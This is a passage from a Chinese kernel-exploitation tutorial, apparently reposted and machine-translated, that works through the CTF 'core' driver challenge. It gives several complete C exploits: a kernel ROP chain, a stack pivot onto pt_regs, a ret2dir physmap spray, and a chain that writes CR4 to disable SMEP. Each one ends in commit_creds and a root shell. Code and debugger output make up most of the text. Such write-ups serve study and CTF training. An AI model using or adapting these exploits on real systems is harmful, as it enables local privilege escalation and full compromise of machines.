18. size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA;
19. ​
20. void get_shell() {
21.    system("/bin/sh");
22. }
23. ​
24. size_t user_cs, user_rflags, user_sp, user_ss;
25. ​
26. void save_status() {
27.    __asm__("mov user_cs, cs;"
28.            "mov user_ss, ss;"
29.            "mov user_sp, rsp;"
30.            "pushf;"
31.            "pop user_rflags;");
32.    puts("[*] status has been saved.");
33. }
34. ​
35. int core_fd;
36. ​
37. void core_read(char *buf) {
38.    ioctl(core_fd, 0x6677889B, buf);
39. }
40. ​
41. void set_off(size_t off) {
42.    ioctl(core_fd, 0x6677889C, off);
43. }
44. ​
45. void core_copy_func(size_t len) {
46.    ioctl(core_fd, 0x6677889A, len);
47. }
48. ​
49. void core_write(char *buf, size_t len) {
50.    write(core_fd, buf, len);
51. }
52. ​
53. void rebase() {
54.    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
55.    if (kallsyms_fd < 0) {
56.        puts("[-] Failed to open kallsyms.\n");
57.        exit(-1);
58.    }
59.    char name[0x50], type[0x10];
60.    size_t addr;
61.    while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
62.        size_t offset = -1;
63.        if (!strcmp(name, "commit_creds")) {
64.            offset = addr - (size_t) commit_creds;
65.        } else if (!strcmp(name, "prepare_kernel_cred")) {
66.            offset = addr - (size_t) prepare_kernel_cred;
67.        }
68.        if (offset != -1) {
69.            printf("[*] offset: %p\n", offset);
70.            commit_creds += offset;
71.            prepare_kernel_cred += offset;
72.            init_cred += offset;
73.            pop_rdi_ret += offset;
74.            pop_rdx_ret += offset;
75.            pop_rcx_ret += offset;
76.            mov_rdi_rax_call_rdx += offset;
77.            swapgs_popfq_ret += offset;
78.            iretq += offset;
79.            swapgs_restore_regs_and_return_to_usermode += offset;
80.            break;
81.        }
82.    }
83.    printf("[*] commit_creds: %p\n", (size_t) commit_creds);
84.    printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
85. }
86. ​
87. size_t get_canary() {
88.    set_off(64);
89.    char buf[64];
90.    core_read(buf);
91.    return *(size_t *) buf;
92. }
93. ​
94. int main() {
95.    save_status();
96.    rebase();
97. ​
98.    core_fd = open("/proc/core", O_RDWR);
99.    if (core_fd < 0) {
100.        puts("[-] Failed to open core.");
101.        exit(-1);
102.    }
103. ​
104.    size_t canary = get_canary();
105.    printf("[*] canary: %p\n", canary);
106. ​
107.    char buf[0x100];
108.    memset(buf, '\x00', sizeof(buf));
109.    // 0x40~0x48->canary; 0x48~0x50->rbp; 0x50~0x58->fake_retaddr
110.    *(size_t *) &buf[0x40] = canary;
111.    size_t *rop = (size_t *) &buf[0x50], it = 0;
112. ​
113.    rop[it++] = pop_rdi_ret;
114.    rop[it++] = 0;
115.    rop[it++] = prepare_kernel_cred;
116.    rop[it++] = pop_rdx_ret;
117.    rop[it++] = pop_rcx_ret;
118.    rop[it++] = mov_rdi_rax_call_rdx;
119.    rop[it++] = commit_creds;
120. ​
121.    rop[it++] = swapgs_restore_regs_and_return_to_usermode + 0x16;
122.    rop[it++] = 0;
123.    rop[it++] = 0;
124.    rop[it++] = (size_t) get_shell;
125.    rop[it++] = user_cs;
126.    rop[it++] = user_rflags;
127.    rop[it++] = user_sp;
128.    rop[it++] = user_ss;
129. ​
130.    core_write(buf, sizeof(buf));
131. ​
132.    core_copy_func(0xffffffffffff0000 | sizeof(buf));
133. ​
134.    return 0;
135. }

复制代码

使用 pt_regs 构造 rop

qemu启动脚本

1. #!/bin/sh
2. qemu-system-x86_64 \
3.  -m 256M \
4.  -kernel ./bzImage \
5.  -initrd ./core.cpio \
6.  -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \
7.  -s \
8.  -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
9.  -nographic \
10.  -cpu kvm64,+smep,+smap

复制代码

查看entry_SYSCALL_64 这一用汇编写的函数内部，注意到当程序进入到内核态时，该函数会将全部的寄存器压入内核栈上，形成一个 pt_regs布局体，该布局体实质上位于内核栈底，界说如下：

1. struct pt_regs {
2. /*
3. * C ABI says these regs are callee-preserved. They aren't saved on kernel entry
4. * unless syscall needs a complete, fully filled "struct pt_regs".
5. */
6.    unsigned long r15;
7.    unsigned long r14;
8.    unsigned long r13;
9.    unsigned long r12;
10.    unsigned long rbp;
11.    unsigned long rbx;
12. /* These regs are callee-clobbered. Always saved on kernel entry. */
13.    unsigned long r11;
14.    unsigned long r10;
15.    unsigned long r9;
16.    unsigned long r8;
17.    unsigned long rax;
18.    unsigned long rcx;
19.    unsigned long rdx;
20.    unsigned long rsi;
21.    unsigned long rdi;
22. /*
23. * On syscall entry, this is syscall#. On CPU exception, this is error code.
24. * On hw interrupt, it's IRQ number:
25. */
26.    unsigned long orig_rax;
27. /* Return frame for iretq */
28.    unsigned long rip;
29.    unsigned long cs;
30.    unsigned long eflags;
31.    unsigned long rsp;
32.    unsigned long ss;
33. /* top of stack page */
34. };

复制代码

内核栈只有一个页面的巨细，而 pt_regs 布局体则固定位于内核栈栈底，当我们挟制内核布局体中的某个函数指针时（例如 seq_operations->start），在我们通过该函数指针挟制内核实行流时 rsp 与 栈底的相对偏移通常是不变的。
而在体系调用当中过程有很多的寄存器其实是不一定能用上的，好比 r8 ~ r15，这些寄存器为我们布置 ROP 链提供了可能，我们不难想到：只需要探求到一条形如 "add rsp, val ; ret" 的gadget便能够完成ROP，在进入内核态前像寄存器写入一些值，看那些寄存器可以被保存，以便后续写入gadget。
   KPTI pass：使用 seq_operations + pt_regs
  布局体 seq_operations 的条目如下：

1. ​
2. struct seq_operations {
3. void * (*start) (struct seq_file *m, loff_t *pos);
4. void (*stop) (struct seq_file *m, void *v);
5. void * (*next) (struct seq_file *m, void *v, loff_t *pos);
6. int (*show) (struct seq_file *m, void *v);
7. };

复制代码

• 当我们打开一个 stat 文件时（如 /proc/self/stat）便会在内核空间中分配一个 seq_operations 布局体
  
• 当我们 read 一个 stat 文件时，内核会调用其 proc_ops 的 proc_read_iter 指针，然后调用 seq_operations->start 函数指针
  

  使用思路

这次我们限制溢出只能覆盖返回地点，此时需要栈迁徙到其他地方构造 rop 。其中一个思路就是在 pt_regs 上构造 rop 。我们在调用 core_copy_func 函数之前先将寄存器设置为几个特别的值，然后再 core_copy_func 函数的返回处下断点。

1. __asm__(
2.        "mov r15, 0x1111111111111111;"
3.        "mov r14, 0x2222222222222222;"
4.        "mov r13, 0x3333333333333333;"
5.        "mov r12, 0x4444444444444444;"
6.        "mov rbp, 0x5555555555555555;"
7.        "mov rbx, 0x6666666666666666;"
8.        "mov r11, 0x7777777777777777;"
9.        "mov r10, 0x8888888888888888;"
10.        "mov r9, 0x9999999999999999;"
11.        "mov r8, 0xaaaaaaaaaaaaaaaa;"
12.        "mov rcx, 0xbbbbbbbbbbbbbbbb;"
13.        "mov rax, 0x10;"
14.        "mov rdx, 0xffffffffffff0050;"
15.        "mov rsi, 0x6677889A;"
16.        "mov rdi, core_fd;"
17.        "syscall"
18.        );

复制代码

数字没变的寄存器就是我们能够控制的，可以被我们用来写 gadget。

1. 0b:0058│     0xffffc90000113f58 ◂— 0x1111111111111111               ; r15
2. 0c:0060│     0xffffc90000113f60 ◂— 0x2222222222222222 ('""""""""')  ; r14
3. 0d:0068│     0xffffc90000113f68 ◂— 0x3333333333333333 ('33333333')  ; r13
4. 0e:0070│     0xffffc90000113f70 ◂— 0x4444444444444444 ('DDDDDDDD')  ; r12
5. 0f:0078│     0xffffc90000113f78 ◂— 0x5555555555555555 ('UUUUUUUU')  ; rbp
6. 10:0080│     0xffffc90000113f80 ◂— 0x6666666666666666 ('ffffffff')  ; rsp
7. 11:0088│     0xffffc90000113f88 ◂— 0x207                           
8. 12:0090│     0xffffc90000113f90 ◂— 0x8888888888888888               ;r10
9. 13:0098│     0xffffc90000113f98 ◂— 0x9999999999999999               ;r9
10. 14:00a0│     0xffffc90000113fa0 ◂— 0xaaaaaaaaaaaaaaaa               ;r8
11. 15:00a8│     0xffffc90000113fa8 ◂— 0xffffffffffffffda
12. 16:00b0│     0xffffc90000113fb0 —▸ 0x401566 ◂— lea rax, [rip + 0xbb44]
13. 17:00b8│     0xffffc90000113fb8 ◂— 0xffffffffffff0050 /* 'P' */
14. 18:00c0│     0xffffc90000113fc0 ◂— 0x6677889a
15. 19:00c8│     0xffffc90000113fc8 ◂— 0x614d8e5400000004
16. 1a:00d0│     0xffffc90000113fd0 ◂— 0x10
17. 1b:00d8│     0xffffc90000113fd8 —▸ 0x401566 ◂— lea rax, [rip + 0xbb44]
18. 1c:00e0│     0xffffc90000113fe0 ◂— 0x33 /* '3' */
19. 1d:00e8│     0xffffc90000113fe8 ◂— 0x207
20. 1e:00f0│     0xffffc90000113ff0 —▸ 0x7ffe1d48e620 ◂— 0x0
21. 1f:00f8│     0xffffc90000113ff8 ◂— 0x2b /* '+' */

复制代码

新版本内查对抗使用 pt_regs 进行攻击的办法

内核主线在 这个 commit 中为体系调用栈添加了一个偏移值，这意味着 pt_regs 与我们触发挟制内核实行流时的栈间偏移值不再是固定值：

1. diff --git a/arch/x86/entry/common.c b/arch/x86/entry/common.c
2. index 4efd39aacb9f2..7b2542b13ebd9 100644
3. --- a/arch/x86/entry/common.c
4. +++ b/arch/x86/entry/common.c
5. @@ -38,6 +38,7 @@
6. #ifdef CONFIG_X86_64
7. __visible noinstr void do_syscall_64(unsigned long nr, struct pt_regs *regs)
8. {
9. +    add_random_kstack_offset();
10.     nr = syscall_enter_from_user_mode(regs, nr);
11. ​
12.     instrumentation_begin();

复制代码

当然，如果在这个随机偏移值较小且我们仍有足够多的寄存器可用的情况下，仍然可以通过布置一些 slide gadget 来继续完成使用，不过稳固性也大幅下降了。
exp

1. #include <fcntl.h>
2. #include <stdio.h>
3. #include <stdlib.h>
4. #include <string.h>
5. #include <unistd.h>
6. #include <sys/ioctl.h>
7. ​
8. size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
9. size_t commit_creds = 0xFFFFFFFF8109C8E0;
10. size_t init_cred = 0xFFFFFFFF8223D1A0;
11. size_t pop_rdi_ret = 0xffffffff81000b2f;
12. size_t add_rsp_0xe8_ret = 0xffffffff816bb966;
13. size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA;
14. ​
15. int core_fd;
16. ​
17. void core_read(char *buf) {
18.    ioctl(core_fd, 0x6677889B, buf);
19. }
20. ​
21. void set_off(size_t off) {
22.    ioctl(core_fd, 0x6677889C, off);
23. }
24. ​
25. void core_write(char *buf, size_t len) {
26.    write(core_fd, buf, len);
27. }
28. ​
29. void rebase() {
30.    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
31.    if (kallsyms_fd < 0) {
32.        puts("[-] Failed to open kallsyms.\n");
33.        exit(-1);
34.    }
35.    char name[0x50], type[0x10];
36.    size_t addr;
37.    while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
38.        size_t offset = -1;
39.        if (!strcmp(name, "commit_creds")) {
40.            offset = addr - (size_t) commit_creds;
41.        } else if (!strcmp(name, "prepare_kernel_cred")) {
42.            offset = addr - (size_t) prepare_kernel_cred;
43.        }
44.        if (offset != -1) {
45.            printf("[*] offset: %p\n", offset);
46.            commit_creds += offset;
47.            prepare_kernel_cred += offset;
48.            init_cred += offset;
49.            pop_rdi_ret += offset;
50.            add_rsp_0xe8_ret += offset;
51.            swapgs_restore_regs_and_return_to_usermode += offset + 8;
52.            break;
53.        }
54.    }
55.    printf("[*] commit_creds: %p\n", (size_t) commit_creds);
56.    printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
57. }
58. ​
59. size_t get_canary() {
60.    set_off(64);
61.    char buf[64];
62.    core_read(buf);
63.    return *(size_t *) buf;
64. }
65. ​
66. int main() {
67.    rebase();
68. ​
69.    core_fd = open("/proc/core", O_RDWR);
70.    if (core_fd < 0) {
71.        puts("[-] Failed to open core.");
72.        exit(-1);
73.    }
74. ​
75.    size_t canary = get_canary();
76.    printf("[*] canary: %p\n", canary);
77. ​
78.    char buf[0x100];
79.    memset(buf, '\x00', sizeof(buf));
80.    *(size_t *) &buf[64] = canary;
81.    *(size_t *) &buf[80] = add_rsp_0xe8_ret;
82. ​
83.    core_write(buf, sizeof(buf));
84.    __asm__(
85.            "mov r15, pop_rdi_ret;"
86.            "mov r14, init_cred;"
87.            "mov r13, commit_creds;"
88.            "mov r12, swapgs_restore_regs_and_return_to_usermode;"
89.            "mov rax, 0x10;"
90.            "mov rdx, 0xffffffffffff0058;"
91.            "mov rsi, 0x6677889A;"
92.            "mov rdi, core_fd;"
93.            "syscall"
94.            );
95. ​
96.    system("/bin/sh");
97. ​
98.    return 0;
99. }

复制代码

实行 add_rsp_0xc8_pop*4_ret 时栈布局，rsp抬高0xc8+0x20后 ret 会实行到我们的 shellcode。

ret2dir

假如 ptregs 所在的内存被修改了导致可控内存变少，我们可以使用 ret2dir 的使用方式将栈迁徙至内核的线性映射区。不同版本内核的线性映射区可以从内核源码文档的mm.txt查看。

ret2dir 是哥伦比亚大学网络安全实行室在 2014 年提出的一种辅助攻击手法，重要用来绕过 smep、smap、pxn 等用户空间与内核空隔断离的防护手段，原论文。 linux 体系有一部门物理内存区域同时映射到用户空间和内核空间的某个物理内存地点。一块区域叫做 direct mapping area，即内核的线性映射区。，这个区域映射了全部的物理内存。我们在用户空间中布置的 gadget 可以通过 direct mapping area 上的地点在内核空间中访问到。

但需要注意的是在新版的内核当中 direct mapping area 已经不再具有可实行权限，因此我们很难再在用户空间直接布置 shellcode 进行使用，但我们仍能通过在用户空间布置 ROP 链的方式完成使用。
使用思路

• 在用户空间大量喷洒我们的gadget: add_rsp_0xe8_ret
  
• 返回地点覆盖为对应内核版本的线性映射区+0x7000000的位置。
  
• 使用pt_regs保存的pop_rbp_ret; target_addr; leave;ret 来完成栈迁徙。
  
• 实行线性映射区的shellcode。
  

exp

1. #include <unistd.h>
2. #include <fcntl.h>
3. #include <stdio.h>
4. #include <stdlib.h>
5. #include <string.h>
6. #include <sys/mman.h>
7. ​
8. size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
9. size_t commit_creds = 0xFFFFFFFF8109C8E0;
10. size_t init_cred = 0xFFFFFFFF8223D1A0;
11. size_t pop_rdi_ret = 0xffffffff81000b2f;
12. size_t add_rsp_0xe8_ret = 0xffffffff816bb966;
13. size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA;
14. size_t retn = 0xFFFFFFFF81003E15;
15. size_t pop_rbp_ret = 0xFFFFFFFF812D71EF;
16. size_t leave_ret = 0xFFFFFFFF81037384;
17. ​
18. const size_t try_hit = 0xffff880000000000+0x7000000;
19. ​
20. size_t user_cs, user_rflags, user_sp, user_ss;
21. size_t page_size;
22. int core_fd;
23. ​
24. void core_read(char *buf) {
25.    ioctl(core_fd, 0x6677889B, buf);
26. }
27. ​
28. void set_off(size_t off) {
29.    ioctl(core_fd, 0x6677889C, off);
30. }
31. ​
32. void core_write(char *buf, size_t len) {
33.    write(core_fd, buf, len);
34. }
35. ​
36. ​
37. void save_status()
38. {
39.    __asm__("mov user_cs, cs;"
40.            "mov user_ss, ss;"
41.            "mov user_sp, rsp;"
42.            "pushf;"
43.            "pop user_rflags;"
44.    );
45.    puts("[*]status has been saved.");
46. }
47. ​
48. void get_shell()
49. {
50.    system("/bin/sh");
51. }
52. ​
53. size_t get_canary() {
54.    set_off(64);
55.    char buf[64];
56.    core_read(buf);
57.    return *(size_t *) buf;
58. }
59. ​
60. void rebase() {
61.    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
62.    if (kallsyms_fd < 0) {
63.        puts("[-] Failed to open kallsyms.\n");
64.        exit(-1);
65.    }
66.    char name[0x50], type[0x10];
67.    size_t addr;
68.    while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
69.        size_t offset = -1;
70.        if (!strcmp(name, "commit_creds")) {
71.            offset = addr - (size_t) commit_creds;
72.        } else if (!strcmp(name, "prepare_kernel_cred")) {
73.            offset = addr - (size_t) prepare_kernel_cred;
74.        }
75.        if (offset != -1) {
76.            printf("[*] offset: %p\n", offset);
77.            commit_creds += offset;
78.            prepare_kernel_cred += offset;
79.            init_cred += offset;
80.            pop_rdi_ret += offset;
81.            add_rsp_0xe8_ret += offset;
82.            swapgs_restore_regs_and_return_to_usermode += offset;
83.            pop_rbp_ret += offset;
84.            leave_ret += offset;
85.            retn += offset;
86.            break;
87.        }
88.    }
89.    printf("[*] commit_creds: %p\n", (size_t) commit_creds);
90.    printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
91. }
92. ​
93. void physmap()
94. {
95.    core_fd = open("/proc/core", O_RDWR);
96.    if (core_fd < 0) {
97.        puts("[-] Error: open core");
98.    }
99.    page_size = sysconf(_SC_PAGESIZE);
100.    printf("[*] page_size %llx", &page_size);
101.    size_t *rop = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
102.    int idx = 0;
103.    while (idx < (page_size / 8 - 0x30)) {
104.        rop[idx++] = add_rsp_0xe8_ret;
105.    }
106.    for (; idx < (page_size / 8 - 0xb); idx++) {
107.        rop[idx] = retn;
108.    }
109.    rop[idx++] = pop_rdi_ret;
110.    rop[idx++] = init_cred;
111.    rop[idx++] = commit_creds;
112.    rop[idx++] = swapgs_restore_regs_and_return_to_usermode + 0x16;
113.    rop[idx++] = 0x0000000000000000;
114.    rop[idx++] = 0x0000000000000000;
115.    rop[idx++] = (size_t) get_shell;
116.    rop[idx++] = user_cs;
117.    rop[idx++] = user_rflags;
118.    rop[idx++] = user_sp;
119.    rop[idx++] = user_ss;
120.    puts("[*] Spraying physmap...");
121.    for (int i = 1; i < 15000; i++) {
122.        size_t *page = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
123.        memcpy(page, rop, page_size);
124.    }
125.    puts("[*] trigger physmap one_gadget...");
126. }
127. ​
128. int main()
129. {
130.    rebase();
131.    save_status();
132.    physmap();
133. ​
134.    size_t canary = get_canary();
135.    printf("[*] canary: %p\n", canary);
136. ​
137.    char buf[0x100];
138.    memset(buf, 'a', sizeof(buf));
139.    *(size_t *) &buf[0x40] = canary;
140.    *(size_t *) &buf[0x50] = add_rsp_0xe8_ret;
141. ​
142.    core_write(buf, sizeof(buf));
143.    __asm__(
144.        "mov r15, pop_rbp_ret;"
145.        "mov r14, try_hit;"
146.        "mov r13, leave_ret;"
147.        "mov rax, 0x10;"
148.        "mov rdx, 0xffffffffffff0058;"
149.        "mov rsi, 0x6677889A;"
150.        "mov rdi, core_fd;"
151.        "syscall"
152.    );
153.    return 0;
154. }

复制代码

流程
（1）修改返回地点为线性映射区的地点，大概率会实行到add_rsp_0xe8_ret将栈抬升到pt_regs处，实行我们负责栈迁徙的shell_code。

（2）将栈迁徙到我们目的地点后，大量的slider gadget将栈不停抬升到get_root代码处，完成提权。

kernel rop + ret2user

使用思路

这种方法实际上是将前两种方法联合起来，同样可以绕过 smap 和 smep 保护。大体思路是先使用 rop 设置 cr4 为 0x6f0 （这个值可以通过用 cr4 原始值 & 0xFFFFF 得到）关闭 smep ， 然后 iret 到用户空间去实行提权代码。

例如，当

1. $CR4 = 0x1407f0 = 000 1 0100 0000 0111 1111 0000

复制代码

时，smep 保护开启。而 CR4 寄存器是可以通过 mov 指令修改的，因此只需要

1. mov cr4, 0x1407e0
2. # 0x1407e0 = 101 0 0000 0011 1111 00000

复制代码

即可关闭 smep 保护。
搜刮一下从 vmlinux 中提取出的 gadget，很轻易就能到达这个目的。

• 如何查看 CR4 寄存器的值？
  gdb 无法查看 cr4 寄存器的值，可以通过kernel crash 时的信息查看。为了关闭 smep 保护，常用一个固定值 0x6f0，即 mov cr4, 0x6f0。
  

exp

注意这里 smap 保护不能直接关闭，因此不能像前面 ret2usr 那样直接在 exp 中写入 trap frame 然后栈迁徙到 trap frame 的地点，而是在 rop 中构造 trap frame 布局

1. #include <fcntl.h>
2. #include <stdio.h>
3. #include <stdlib.h>
4. #include <string.h>
5. #include <sys/types.h>
6. #include <unistd.h>
7. #include <sys/ioctl.h>
8. ​
9. #define KERNCALL __attribute__((regparm(3)))
10. ​
11. void *(*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xFFFFFFFF8109CCE0;
12. ​
13. void *(*commit_creds)(void *) KERNCALL = (void *) 0xFFFFFFFF8109C8E0;
14. ​
15. void *init_cred = (void *) 0xFFFFFFFF8223D1A0;
16. size_t pop_rdi_ret = 0xffffffff81000b2f;
17. size_t pop_rdx_ret = 0xffffffff810a0f49;
18. size_t pop_rcx_ret = 0xffffffff81021e53;
19. size_t mov_cr4_rdi_ret = 0xffffffff81075014;
20. size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
21. size_t swapgs_popfq_ret = 0xffffffff81a012da;
22. size_t iretq = 0xffffffff81050ac2;
23. ​
24. void get_shell()
25. {
26.    system("/bin/sh");
27. }
28. ​
29. size_t user_cs, user_rflags, user_sp, user_ss;
30. ​
31. void save_status() {
32.    __asm__("mov user_cs, cs;"
33.            "mov user_ss, ss;"
34.            "mov user_sp, rsp;"
35.            "pushf;"
36.            "pop user_rflags;");
37.    puts("[*] status has been saved.");
38. }
39. ​
40. void get_root() {
41.    commit_creds(prepare_kernel_cred(0));
42. }
43. ​
44. int core_fd;
45. ​
46. void core_read(char *buf) {
47.    ioctl(core_fd, 0x6677889B, buf);
48. }
49. ​
50. void set_off(size_t off) {
51.    ioctl(core_fd, 0x6677889C, off);
52. }
53. ​
54. void core_copy_func(size_t len) {
55.    ioctl(core_fd, 0x6677889A, len);
56. }
57. ​
58. void core_write(char *buf, size_t len) {
59.    write(core_fd, buf, len);
60. }
61. ​
62. void rebase() {
63.    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
64.    if (kallsyms_fd < 0) {
65.        puts("[-] Failed to open kallsyms.\n");
66.        exit(-1);
67.    }
68.    char name[0x50], type[0x10];
69.    size_t addr;
70.    while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
71.        size_t offset = -1;
72.        if (!strcmp(name, "commit_creds")) {
73.            offset = addr - (size_t) commit_creds;
74.        } else if (!strcmp(name, "prepare_kernel_cred")) {
75.            offset = addr - (size_t) prepare_kernel_cred;
76.        }
77.        if (offset != -1) {
78.            printf("[*] offset: %p\n", offset);
79.            commit_creds = (void *) ((size_t) commit_creds + offset);
80.            prepare_kernel_cred = (void *) ((size_t) prepare_kernel_cred + offset);
81.            init_cred = (void *) ((size_t) init_cred + offset);
82.            pop_rdi_ret += offset;
83.            pop_rdx_ret += offset;
84.            pop_rcx_ret += offset;
85.            mov_rdi_rax_call_rdx += offset;
86.            swapgs_popfq_ret += offset;
87.            iretq += offset;
88.            break;
89.        }
90.    }
91.    printf("[*] commit_creds: %p\n", (size_t) commit_creds);
92.    printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
93. }
94. ​
95. size_t get_canary() {
96.    set_off(64);
97.    char buf[64];
98.    core_read(buf);
99.    return *(size_t *) buf;
100. }
101. ​
102. int main() {
103.    save_status();
104.    rebase();
105. ​
106.    core_fd = open("/proc/core", O_RDWR);
107.    if (core_fd < 0) {
108.        puts("[-] Failed to open core.");
109.        exit(-1);
110.    }
111. ​
112.    size_t canary = get_canary();
113.    printf("[*] canary: %p\n", canary);
114. ​
115.    char buf[0x100];
116.    memset(buf, 'a', sizeof(buf));
117.    *(size_t *) &buf[64] = canary;
118. ​
119.    size_t *rop = (size_t *) &buf[80], it = 0;
120. ​
121. ​
122.    rop[it++] = pop_rdi_ret;
123.    rop[it++] = 0x00000000000006f0;
124.    rop[it++] = mov_cr4_rdi_ret;
125.    rop[it++] = (size_t) get_root;
126.    rop[it++] = swapgs_popfq_ret;
127.    rop[it++] = 0;
128.    rop[it++] = iretq;
129.    rop[it++] = (size_t) get_shell;
130.    rop[it++] = user_cs;
131.    rop[it++] = user_rflags;
132.    rop[it++] = user_sp;
133.    rop[it++] = user_ss;
134. ​
135.    core_write(buf, sizeof(buf));
136. ​
137.    core_copy_func(0xffffffffffff0000 | sizeof(buf));
138. ​
139.    return 0;
140. }

复制代码

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。